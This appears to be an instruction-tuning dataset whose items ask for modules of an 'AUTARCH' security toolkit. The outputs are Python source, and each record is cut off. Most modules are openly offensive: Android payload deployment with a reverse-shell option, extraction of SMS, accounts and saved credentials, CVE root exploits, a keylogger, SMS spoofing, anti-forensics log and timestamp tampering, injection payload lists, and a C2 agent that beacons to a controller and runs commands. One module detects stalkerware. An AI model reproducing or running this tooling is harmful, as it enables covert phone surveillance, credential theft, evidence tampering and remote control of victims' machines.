print(\" [5] List Running Payloads\")\n print(\" [6] Kill Payload\")\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def deploy_binary(self):\n if not self._ensure_device():\n return\n try:\n local = input(\" Local binary path: \").strip()\n remote = input(\" Remote path [/data/local/tmp/]: \").strip() or '/data/local/tmp/'\n except (EOFError, KeyboardInterrupt):\n return\n if not local:\n return\n print(\" Deploying...\")\n result = self.mgr.deploy_binary(self.serial, local, remote)\n if result['success']:\n print(f\" Deployed to: {result['remote_path']}\")\n else:\n print(f\" Error: {result['error']}\")\n\n def execute_payload(self):\n if not self._ensure_device():\n return\n try:\n remote = input(\" Remote path: \").strip()\n args = input(\" Arguments []: \").strip()\n bg = input(\" Background? [Y/n]: \").strip().lower() != 'n'\n except (EOFError, KeyboardInterrupt):\n return\n if not remote:\n return\n print(\" Executing...\")\n result = self.mgr.execute_payload(self.serial, remote, args=args, background=bg)\n if result['success']:\n if result['background']:\n print(f\" Running in background, PID: {result['pid']}\")\n else:\n print(f\" Output:\\n{result['output']}\")\n else:\n print(f\" Error: {result.get('output', 'Failed')}\")\n\n def reverse_shell(self):\n i
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that android anti-stalkerware/spyware shield. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_protect\nCategory: defense\nDescription: Android anti-stalkerware/spyware shield", "output": "\"\"\"\nAndroid Protection Shield - Anti-stalkerware & anti-spyware defense\nDetect, analyze, and remove stalkerware and government-grade spyware from Android devices.\n\"\"\"\n\nDESCRIPTION = \"Android anti-stalkerware/spyware shield\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\n\nclass AndroidProtect:\n \"\"\"Interactive Android protection menu.\"\"\"\n\n def __init__(self):\n from core.android_protect import get_android_protect_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_android_protect_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _pick_device(self):\n \"\"\"Select an ADB device.\"\"\"\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return None\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n return self.serial\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n model = d.get('model', '')\n print(f\" {i}) {d['serial']} {model}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n return self.serial\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n return None\n\n def _ensure_device(self):\n \"\"\"Ensure we have a selected device.\"\"\"\n if self.serial:\n return self.serial\n return self._pick_device()\n\n def _print_severity(self, sev):\n \"\"\"Color indicator for severity.\"\"\"\n markers = {\n 'critical': '[!!!]',\n 'high': '[!! ]',\n 'medium': '[! ]',\n 'low': '[ ]',\n }\n return markers.get(sev, '[? ]')\n\n def show_menu(self):\n status = self.hw.get_status()\n serial_str = self.serial or 'None selected'\n\n # Shizuku/Shield info\n shizuku_str = 'N/A'\n shield_str = 'N/A'\n if self.serial:\n try:\n sz = self.mgr.check_shizuku(self.serial)\n if sz['installed']:\n shizuku_str = f\"{'Running' if sz['running'] else 'Stopped'}\"\n if sz['version']:\n shizuku_str += f\" v{sz['version']}\"\n else:\n shizuku_str = 'Not installed'\n sh = self.mgr.check_shield_app(self.serial)\n shield_str = f\"v{sh['version']}\" if sh['installed'] else 'Not installed'\n except Exception:\n pass\n\n sig_stats = self.mgr.get_signature_stats()\n\n print(f\"\\n{'='*60}\")\n print(\" Android Protection Shield\")\n print(f\"{'='*60}\")\n print(f\" ADB: {'Available' if status['adb'] else 'Not found'}\")\n print(f\" Device: {serial_str}\")\n print(f\" Shizuku: {shizuku_str} | Shield: {shield_str}\")\n print(f\" DB: {sig_stats['stalkerware_packages']} packages, \"\n f\"{sig_stats['government_spyware']} govt spyware\")\n print()\n print(\" -- Quick Actions --\")\n print(\" 1) Quick Scan (fast)\")\n print(\" 2) Full Protection Scan\")\n print(\" 3) Export Scan Report\")\n print()\n print(\" -- Detection --\")\n print(\" 10) Scan Stalkerware\")\n print(\" 11) Scan Hidden Apps\")\n print(\" 12) Scan Device Admins\")\n print(\" 13) Scan Accessibility Services\")\n print(\" 14) Scan Notific
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android device reconnaissance (data extraction, accounts, logs). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_recon\nCategory: offense\nDescription: Android device reconnaissance (data extraction, accounts, logs)", "output": "\"\"\"\nAndroid Device Reconnaissance - Extract device data, accounts, messages, history\n\"\"\"\n\nDESCRIPTION = \"Android device reconnaissance (data extraction, accounts, logs)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidRecon:\n \"\"\"Interactive menu for Android device reconnaissance.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n model = d.get('model', '')\n print(f\" {i}) {d['serial']} {model}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*50}\")\n print(\" Device Reconnaissance\")\n print(f\"{'='*50}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" [1] Full Device Dump\")\n print(\" [2] Installed Accounts\")\n print(\" [3] WiFi Passwords [ROOT]\")\n print(\" [4] Call Logs\")\n print(\" [5] SMS Messages\")\n print(\" [6] Contacts\")\n print(\" [7] Browser History [ROOT]\")\n print(\" [8] Saved Credentials [ROOT]\")\n print(\" [9] Export Full Report\")\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def device_dump(self):\n if not self._ensure_device():\n return\n print(\" Running full device dump...\")\n dump = self.mgr.full_device_dump(self.serial)\n print(f\"\\n SELinux: {dump.get('selinux', 'unknown')}\")\n print(f\" Kernel: {dump.get('kernel', 'unknown')}\")\n print(f\" Fingerprint: {dump.get('fingerprint', 'unknown')}\")\n print(f\" Packages: {dump.get('package_count', '?')}\")\n info = dump.get('device_info', {})\n if info:\n print(f\"\\n Device Info:\")\n for k, v in info.items():\n print(f\" {k:<20} {v}\")\n\n def accounts(self):\n if not self._ensure_device():\n return\n result = self.mgr.get_accounts(self.serial)\n if not result['success']:\n print(f\" Error: {result.get('error', 'Failed')}\")\n return\n print(f\"\\n Found {result['count']} accounts:\")\n for a in result['accounts']:\n print(f\" {a['name']} ({a['type']})\")\n\n def wifi_passwords(self):\n if not self._ensure_device():\n return\n print(\" Extracting WiFi passwords (requires root)...\")\n result = self.mgr.get_wifi_passwords(self.serial)\n if not result['success']:\n print(f\" Error: {result.get('error', 'Failed
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android root methods (cve-2024-0044, cve-2024-31317, magisk, fastboot, grapheneos). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_root\nCategory: offense\nDescription: Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)", "output": "\"\"\"\nAndroid Root Methods v2.0 — Root detection, Magisk, CVE exploits, GrapheneOS support\n\nPrivilege escalation paths:\n CVE-2024-0044 — run-as any app UID (Android 12-13, pre-Oct 2024)\n CVE-2024-31317 — Zygote injection (Android 12-14, pre-Mar 2024, NOT GrapheneOS)\n fastboot boot — temp root via Magisk-patched image (unlocked bootloader)\n Pixel GPU — kernel root via Mali driver (CVE-2023-6241, CVE-2025-0072)\n Magisk — standard Magisk install + patch workflow\n adb root — userdebug/eng builds only\n\"\"\"\n\nDESCRIPTION = \"Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"2.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidRoot:\n \"\"\"Interactive menu for Android rooting and privilege escalation.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n model = d.get('model', '')\n print(f\" {i}) {d['serial']} {model}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*55}\")\n print(\" Root Methods & Privilege Escalation\")\n print(f\"{'='*55}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" [1] Check Root Status\")\n print(\" [2] Vulnerability Assessment\")\n print(\" [3] Detect OS (Stock / GrapheneOS)\")\n print(\" [4] CVE-2024-0044 — run-as any app UID\")\n print(\" [5] CVE-2024-31317 — Zygote injection\")\n print(\" [6] Install Magisk APK\")\n print(\" [7] Pull Patched Boot Image\")\n print(\" [8] Fastboot Temp Root (boot patched image)\")\n print(\" [9] Root via Exploit Binary\")\n print(\" [a] ADB Root Shell (debug builds)\")\n print(\" [r] Extract RCS (auto-select best exploit)\")\n print(\" [e] CVE-2025-48543 — system UID (Android 15/16)\")\n print(\" [c] Cleanup CVE-2024-0044 Traces\")\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def check_root(self):\n if not self._ensure_device():\n return\n print(\" Checking root status...\")\n result = self.mgr.check_root(self.serial)\n print(f\"\\n Rooted: {'YES' if result['rooted'] else 'NO'}\")\n if result['method']:\n print(f\" Method: {result['method']}\")\n if result['version']:\n print(f\" Version: {result['version']}\")\n for k, v in result.get('details', {}).items():\n print(f\"
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android screen capture, input injection, keylogger, camera/audio. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_screen\nCategory: offense\nDescription: Android screen capture, input injection, keylogger, camera/audio", "output": "\"\"\"\nAndroid Screen & Input Control - Screenshots, recording, input injection, keylogger\n\"\"\"\n\nDESCRIPTION = \"Android screen capture, input injection, keylogger, camera/audio\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidScreen:\n \"\"\"Interactive menu for screen/input/capture operations.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n print(f\" {i}) {d['serial']} {d.get('model','')}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*55}\")\n print(\" Screen & Input Control\")\n print(f\"{'='*55}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" ── Capture ──\")\n print(\" [1] Screenshot\")\n print(\" [2] Screen Record\")\n print(\" [3] Camera Photo\")\n print(\" [4] Audio Record\")\n print()\n print(\" ── Input Injection ──\")\n print(\" [5] Tap Coordinates\")\n print(\" [6] Swipe\")\n print(\" [7] Type Text\")\n print(\" [8] Send Key Event\")\n print(\" [9] Wake / Dismiss Lockscreen\")\n print(\" [10] Disable Lockscreen\")\n print()\n print(\" ── Keylogger ──\")\n print(\" [11] Start Keylogger\")\n print(\" [12] Stop & Pull Keylog\")\n print()\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def screenshot(self):\n if not self._ensure_device(): return\n print(\" Capturing screenshot...\")\n r = self.mgr.screen_capture(self.serial)\n if r['success']:\n print(f\" Saved: {r['path']} ({r['size']} bytes)\")\n else:\n print(f\" Error: {r.get('error')}\")\n\n def screen_record(self):\n if not self._ensure_device(): return\n try:\n dur = input(\" Duration in seconds [10]: \").strip()\n dur = int(dur) if dur else 10\n except (ValueError, EOFError, KeyboardInterrupt):\n return\n print(f\" Recording for {dur}s...\")\n r = self.mgr.screen_record(self.serial, duration=dur)\n if r['success']:\n print(f\" Saved: {r['path']} ({r['size']} bytes)\")\n else:\n print(f\" Error: {r.get('error')}\")\n\n def camera(self):\n if not self._ensure_device(): return\n try:\n cam = input(\" Camera [back/front]: \").strip() or 'back'\n except (EOFError, KeyboardInterrupt):\n return\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android sms/rcs manipulation (add, remove, spoof dates, rcs inject). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_sms\nCategory: offense\nDescription: Android SMS/RCS manipulation (add, remove, spoof dates, RCS inject)", "output": "\"\"\"\nAndroid SMS/RCS Manipulation - Insert, delete, spoof messages with custom timestamps\n\"\"\"\n\nDESCRIPTION = \"Android SMS/RCS manipulation (add, remove, spoof dates, RCS inject)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidSms:\n \"\"\"Interactive menu for SMS/RCS manipulation.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n model = d.get('model', '')\n print(f\" {i}) {d['serial']} {model}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*55}\")\n print(\" SMS / RCS Manipulation\")\n print(f\"{'='*55}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" ── SMS (content provider) ──\")\n print(\" [1] List SMS Messages\")\n print(\" [2] Insert SMS (spoofed)\")\n print(\" [3] Insert Batch SMS\")\n print(\" [4] Edit SMS\")\n print(\" [5] Delete SMS by ID\")\n print(\" [6] Delete SMS by Number\")\n print(\" [7] Delete ALL SMS\")\n print()\n print(\" ── RCS (Google Messages) ── [ROOT]\")\n print(\" [8] Check RCS Support\")\n print(\" [9] List RCS Messages\")\n print(\" [a] Insert RCS Message (spoofed)\")\n print(\" [b] Delete RCS Message\")\n print()\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def list_sms(self):\n if not self._ensure_device():\n return\n try:\n addr = input(\" Filter by number (Enter for all): \").strip() or None\n limit = input(\" Limit [50]: \").strip()\n limit = int(limit) if limit else 50\n except (EOFError, KeyboardInterrupt, ValueError):\n return\n result = self.mgr.sms_list(self.serial, limit=limit, address=addr)\n if not result['success']:\n print(f\" Error: {result.get('error', 'Failed')}\")\n return\n print(f\"\\n Found {result['count']} messages:\")\n print(f\" {'ID':<6} {'Type':<8} {'Address':<16} {'Date':<20} Body\")\n print(f\" {'-'*75}\")\n for m in result['messages']:\n body = m.get('body', '')\n if len(body) > 40:\n body = body[:40] + '...'\n date = m.get('date_readable', m.get('date', '?'))\n print(f\" {m.get('_id','?'):<6} {m.get('type_label','?'):<8} {m.get('address','?'):<16} {date:<20} {body}\")\n\n def insert_sms(self):\n if not self._ensure_dev
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'counter' category that anti-forensics & counter-investigation tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: anti_forensics\nCategory: counter\nDescription: Anti-forensics & counter-investigation tools", "output": "\"\"\"AUTARCH Anti-Forensics\n\nSecure file deletion, timestamp manipulation, log clearing, metadata scrubbing,\nand counter-forensics techniques for operational security.\n\"\"\"\n\nDESCRIPTION = \"Anti-forensics & counter-investigation tools\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"counter\"\n\nimport os\nimport re\nimport json\nimport time\nimport struct\nimport shutil\nimport secrets\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n from PIL import Image as PILImage\n HAS_PIL = True\nexcept ImportError:\n HAS_PIL = False\n\n\n# ── Secure Deletion ─────────────────────────────────────────────────────────\n\nclass SecureDelete:\n \"\"\"Secure file/directory deletion with overwrite patterns.\"\"\"\n\n PATTERNS = {\n 'zeros': b'\\x00',\n 'ones': b'\\xFF',\n 'random': None, # Generated per-pass\n 'dod_3pass': [b'\\x00', None, b'\\xFF'], # DoD 5220.22-M simplified\n 'gutmann': None, # 35 passes with specific patterns\n }\n\n @staticmethod\n def secure_delete_file(filepath: str, passes: int = 3,\n method: str = 'random') -> Dict:\n \"\"\"Securely delete a file by overwriting before unlinking.\"\"\"\n if not os.path.exists(filepath):\n return {'ok': False, 'error': 'File not found'}\n\n try:\n file_size = os.path.getsize(filepath)\n\n if method == 'dod_3pass':\n patterns = [b'\\x00', None, b'\\xFF']\n else:\n patterns = [None] * passes # All random\n\n # Overwrite passes\n for i, pattern in enumerate(patterns):\n with open(filepath, 'r+b') as f:\n remaining = file_size\n while remaining > 0:\n chunk_size = min(4096, remaining)\n if pattern is None:\n chunk = secrets.token_bytes(chunk_size)\n else:\n chunk = pattern * chunk_size\n f.write(chunk[:chunk_size])\n remaining -= chunk_size\n f.flush()\n os.fsync(f.fileno())\n\n # Truncate to zero\n with open(filepath, 'w') as f:\n pass\n\n # Rename to random name before deletion (anti-filename recovery)\n directory = os.path.dirname(filepath)\n random_name = os.path.join(directory, secrets.token_hex(16))\n os.rename(filepath, random_name)\n os.unlink(random_name)\n\n return {\n 'ok': True,\n 'file': filepath,\n 'size': file_size,\n 'passes': len(patterns),\n 'method': method,\n 'message': f'Securely deleted {filepath} ({file_size} bytes, {len(patterns)} passes)'\n }\n\n except PermissionError:\n return {'ok': False, 'error': 'Permission denied'}\n except Exception as e:\n return {'ok': False, 'error': str(e)}\n\n @staticmethod\n def secure_delete_directory(dirpath: str, passes: int = 3) -> Dict:\n \"\"\"Recursively securely delete all files in a directory
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that api endpoint fuzzing & vulnerability testing. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: api_fuzzer\nCategory: offense\nDescription: API endpoint fuzzing & vulnerability testing", "output": "\"\"\"AUTARCH API Fuzzer\n\nEndpoint discovery, parameter fuzzing, auth testing, rate limit detection,\nGraphQL introspection, and response analysis for REST/GraphQL APIs.\n\"\"\"\n\nDESCRIPTION = \"API endpoint fuzzing & vulnerability testing\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport copy\nimport threading\nfrom pathlib import Path\nfrom urllib.parse import urljoin, urlparse, parse_qs\nfrom typing import Dict, List, Optional, Any, Tuple\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n import requests\n from requests.exceptions import RequestException\n HAS_REQUESTS = True\nexcept ImportError:\n HAS_REQUESTS = False\n\n\n# ── Fuzz Payloads ────────────────────────────────────────────────────────────\n\nSQLI_PAYLOADS = [\n \"' OR '1'='1\", \"\\\" OR \\\"1\\\"=\\\"1\", \"'; DROP TABLE--\", \"1; SELECT 1--\",\n \"' UNION SELECT NULL--\", \"1' AND '1'='1\", \"admin'--\", \"' OR 1=1#\",\n \"1 AND 1=1\", \"1' ORDER BY 1--\", \"') OR ('1'='1\",\n]\n\nXSS_PAYLOADS = [\n \"<script>alert(1)</script>\", \"'\\\"><img src=x onerror=alert(1)>\",\n \"javascript:alert(1)\", \"<svg/onload=alert(1)>\", \"{{7*7}}\",\n \"${7*7}\", \"<%=7*7%>\", \"{{constructor.constructor('return 1')()}}\",\n]\n\nTYPE_CONFUSION = [\n None, True, False, 0, -1, 2147483647, -2147483648,\n 99999999999999, 0.1, -0.1, float('inf'),\n \"\", \" \", \"null\", \"undefined\", \"NaN\", \"true\", \"false\",\n [], {}, [None], {\"__proto__\": {}},\n \"A\" * 1000, \"A\" * 10000,\n]\n\nTRAVERSAL_PAYLOADS = [\n \"../../../etc/passwd\", \"..\\\\..\\\\..\\\\windows\\\\system32\\\\config\\\\sam\",\n \"....//....//....//etc/passwd\", \"%2e%2e%2f%2e%2e%2f\",\n \"/etc/passwd%00\", \"..%252f..%252f\",\n]\n\nCOMMON_ENDPOINTS = [\n '/api', '/api/v1', '/api/v2', '/api/v3',\n '/api/users', '/api/admin', '/api/login', '/api/auth',\n '/api/config', '/api/settings', '/api/debug', '/api/health',\n '/api/status', '/api/info', '/api/version', '/api/docs',\n '/api/swagger', '/api/graphql', '/api/internal',\n '/swagger.json', '/swagger-ui', '/openapi.json',\n '/api/tokens', '/api/keys', '/api/secrets',\n '/api/upload', '/api/download', '/api/export', '/api/import',\n '/api/search', '/api/query', '/api/execute', '/api/run',\n '/graphql', '/graphiql', '/playground',\n '/.well-known/openid-configuration',\n '/api/password/reset', '/api/register', '/api/verify',\n '/api/webhook', '/api/callback', '/api/notify',\n '/actuator', '/actuator/health', '/actuator/env',\n '/metrics', '/prometheus', '/_debug', '/__debug__',\n]\n\n\n# ── API Fuzzer Engine ────────────────────────────────────────────────────────\n\nclass APIFuzzer:\n \"\"\"REST & GraphQL API security testing.\"\"\"\n\n def __init__(self):\n self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer')\n os.makedirs(self.data_dir, exist_ok=True)\n self.session = requests.Session() if HAS_REQUESTS else None\n self.results: List[Dict] = []\n self._jobs: Dict[str, Dict] = {}\n\n def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'):\n \"\"\"Configure authentication for requests.\"\"\"\n if not self.session:\n return\n if auth_type == 'bearer':\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that ble device scanning & security analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: ble_scanner\nCategory: analyze\nDescription: BLE device scanning & security analysis", "output": "\"\"\"AUTARCH BLE Scanner\n\nBluetooth Low Energy device discovery, service enumeration, characteristic\nread/write, vulnerability scanning, and proximity tracking.\n\"\"\"\n\nDESCRIPTION = \"BLE device scanning & security analysis\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n# Optional BLE library\ntry:\n import asyncio\n from bleak import BleakScanner, BleakClient\n HAS_BLEAK = True\nexcept ImportError:\n HAS_BLEAK = False\n\n\n# ── Known Service UUIDs ──────────────────────────────────────────────────────\n\nKNOWN_SERVICES = {\n '00001800-0000-1000-8000-00805f9b34fb': 'Generic Access',\n '00001801-0000-1000-8000-00805f9b34fb': 'Generic Attribute',\n '0000180a-0000-1000-8000-00805f9b34fb': 'Device Information',\n '0000180f-0000-1000-8000-00805f9b34fb': 'Battery Service',\n '00001812-0000-1000-8000-00805f9b34fb': 'Human Interface Device',\n '0000180d-0000-1000-8000-00805f9b34fb': 'Heart Rate',\n '00001809-0000-1000-8000-00805f9b34fb': 'Health Thermometer',\n '00001802-0000-1000-8000-00805f9b34fb': 'Immediate Alert',\n '00001803-0000-1000-8000-00805f9b34fb': 'Link Loss',\n '00001804-0000-1000-8000-00805f9b34fb': 'Tx Power',\n '00001805-0000-1000-8000-00805f9b34fb': 'Current Time',\n '00001808-0000-1000-8000-00805f9b34fb': 'Glucose',\n '00001810-0000-1000-8000-00805f9b34fb': 'Blood Pressure',\n '00001813-0000-1000-8000-00805f9b34fb': 'Scan Parameters',\n '00001816-0000-1000-8000-00805f9b34fb': 'Cycling Speed & Cadence',\n '00001818-0000-1000-8000-00805f9b34fb': 'Cycling Power',\n '00001814-0000-1000-8000-00805f9b34fb': 'Running Speed & Cadence',\n '0000fee0-0000-1000-8000-00805f9b34fb': 'Mi Band Service',\n '0000feaa-0000-1000-8000-00805f9b34fb': 'Eddystone (Google)',\n}\n\nMANUFACTURER_IDS = {\n 0x004C: 'Apple',\n 0x0006: 'Microsoft',\n 0x000F: 'Texas Instruments',\n 0x0059: 'Nordic Semiconductor',\n 0x0075: 'Samsung',\n 0x00E0: 'Google',\n 0x0157: 'Xiaomi',\n 0x0171: 'Amazon',\n 0x02FF: 'Huawei',\n 0x0310: 'Fitbit',\n}\n\nKNOWN_VULNS = {\n 'KNOB': {\n 'description': 'Key Negotiation of Bluetooth Attack — downgrades encryption key entropy',\n 'cve': 'CVE-2019-9506',\n 'severity': 'high',\n 'check': 'Requires active MITM during pairing'\n },\n 'BLESA': {\n 'description': 'BLE Spoofing Attack — reconnection spoofing without auth',\n 'cve': 'CVE-2020-9770',\n 'severity': 'medium',\n 'check': 'Affects reconnection after disconnect'\n },\n 'SweynTooth': {\n 'description': 'Family of BLE implementation bugs causing crashes/deadlocks',\n 'cve': 'Multiple (CVE-2019-16336, CVE-2019-17519, etc.)',\n 'severity': 'high',\n 'check': 'Vendor-specific, requires firmware version check'\n },\n 'BlueBorne': {\n 'description': 'Remote code execution via Bluetooth without pairing',\n 'cve': 'CVE-2017-0781 to CVE-2017-0785',\n 'severity': 'critical',\n 'check': 'Requires classic BT stack, pre-2018 devices vulnerable'\n }\n}\n\n\n# ── BLE Scanner ────────────────────────────────────────────
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that command & control framework. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: c2_framework\nCategory: offense\nDescription: Command & Control framework", "output": "\"\"\"AUTARCH C2 Framework\n\nMulti-session command & control framework with agent generation,\nlistener management, task queuing, and file transfer.\n\"\"\"\n\nDESCRIPTION = \"Command & Control framework\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport socket\nimport base64\nimport secrets\nimport threading\nimport struct\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\nfrom dataclasses import dataclass, field\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Agent Templates ───────────────────────────────────────────────────────────\n\nPYTHON_AGENT_TEMPLATE = '''#!/usr/bin/env python3\n\"\"\"AUTARCH C2 Agent — auto-generated.\"\"\"\nimport os,sys,time,socket,subprocess,json,base64,platform,random\nC2_HOST=\"{host}\"\nC2_PORT={port}\nBEACON_INTERVAL={interval}\nJITTER={jitter}\nAGENT_ID=\"{agent_id}\"\n\ndef beacon():\n while True:\n try:\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.settimeout(30)\n s.connect((C2_HOST,C2_PORT))\n # Register\n info={{\"id\":AGENT_ID,\"os\":platform.system(),\"hostname\":socket.gethostname(),\n \"user\":os.getenv(\"USER\",os.getenv(\"USERNAME\",\"unknown\")),\n \"pid\":os.getpid(),\"arch\":platform.machine()}}\n s.send(json.dumps({{\"type\":\"register\",\"data\":info}}).encode()+\"\\\\n\".encode())\n while True:\n data=s.recv(65536)\n if not data:break\n try:\n cmd=json.loads(data.decode())\n result=handle_cmd(cmd)\n 